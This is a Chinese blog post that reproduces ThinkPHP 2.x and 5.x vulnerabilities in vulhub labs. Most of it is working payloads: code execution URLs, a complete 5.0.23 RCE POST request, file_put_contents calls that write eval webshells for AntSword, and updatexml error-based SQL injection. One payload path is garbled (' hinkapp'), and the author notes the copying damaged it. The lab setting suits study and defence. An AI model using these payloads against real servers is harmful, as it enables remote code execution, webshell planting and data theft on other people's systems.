Thinkphp漏洞复现

简介

漏洞环境:均为vulhub

2-rce(thinkphp 2.x任意代码执行漏洞)

参考链接:

https://www.cnblogs.com/g0udan/p/12252383.html

漏洞复现

漏洞验证payload:

http://目标IP/index.php?s=/index/index/name/$%7B@phpinfo()%7D

蚁剑连接payload,密码1

http://目标IP/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}

将上面整条语句放入到蚁剑的连接地址中

连接成功!

5.0.23-rce

参考链接:

https://blog.csdn.net/satasun/article/details/110818672

影响范围:ThinkPHP 5.0.x:5.0.x ~ 5.0.23

漏洞复现

真实吐了啊,复现一直不成功,后来把请求头中的内容都换了(除了host),然后成功了。如果你跟我一样,payload都没有什么问题,可以尝试下这个方法。POST请求报文如下:

POST /index.php?s=captcha HTTP/1.1
Host: 服务端IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

_method=__construct&filter[]=system&method=get&get[]=id

写入webshell,可以用echo命令写入,但是写入后没有回显。

5-rce

参考链接:

https://blog.cocofan.cn/tp5漏洞/

https://blog.csdn.net/weixin_40709439/article/details/86564457

https://www.ddosi.com/b218/

这个漏洞的标题是5-rce,但是这个漏洞因为版本和是否开启debug模式的问题,导致poc数量较多,这里只以vulhub的漏洞进行复现,感兴趣的可以看参考的第二个链接。

漏洞复现

使用下面payload执行phpinfo代码,判断有误漏洞。

http://目标IP/index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

执行系统命令:

http://服务端IP/index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://服务端IP/index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[cmd]);?%3E

写入shell,上面的poc成功后页面回显27,回显的写入的payload的长度。生成的webshell名为zxc1.php,使用蚁剑访问连接。

提示

复制到博客里,发现居然还有这种问题,无语。

in-sqlinjection_web_1

参考链接:

https://blog.csdn.net/weixin_41598660/article/details/104063002

https://blog.csdn.net/weixin_44940180/article/details/107859666

漏洞复现

使用下面poc进行漏洞验证,如果显示了用户名,说明存在漏洞。

http://目标IP/index.php?ids[]=1&ids[]=2

使用下面payload,可以进行报错注入,显示出用户名。

http://目标IP/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

总结

tp5的漏洞还是挺多的,我写的时候才发现tp6出了。

emm,并没有认真把这篇文章写完,留坑了。

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/14671076.html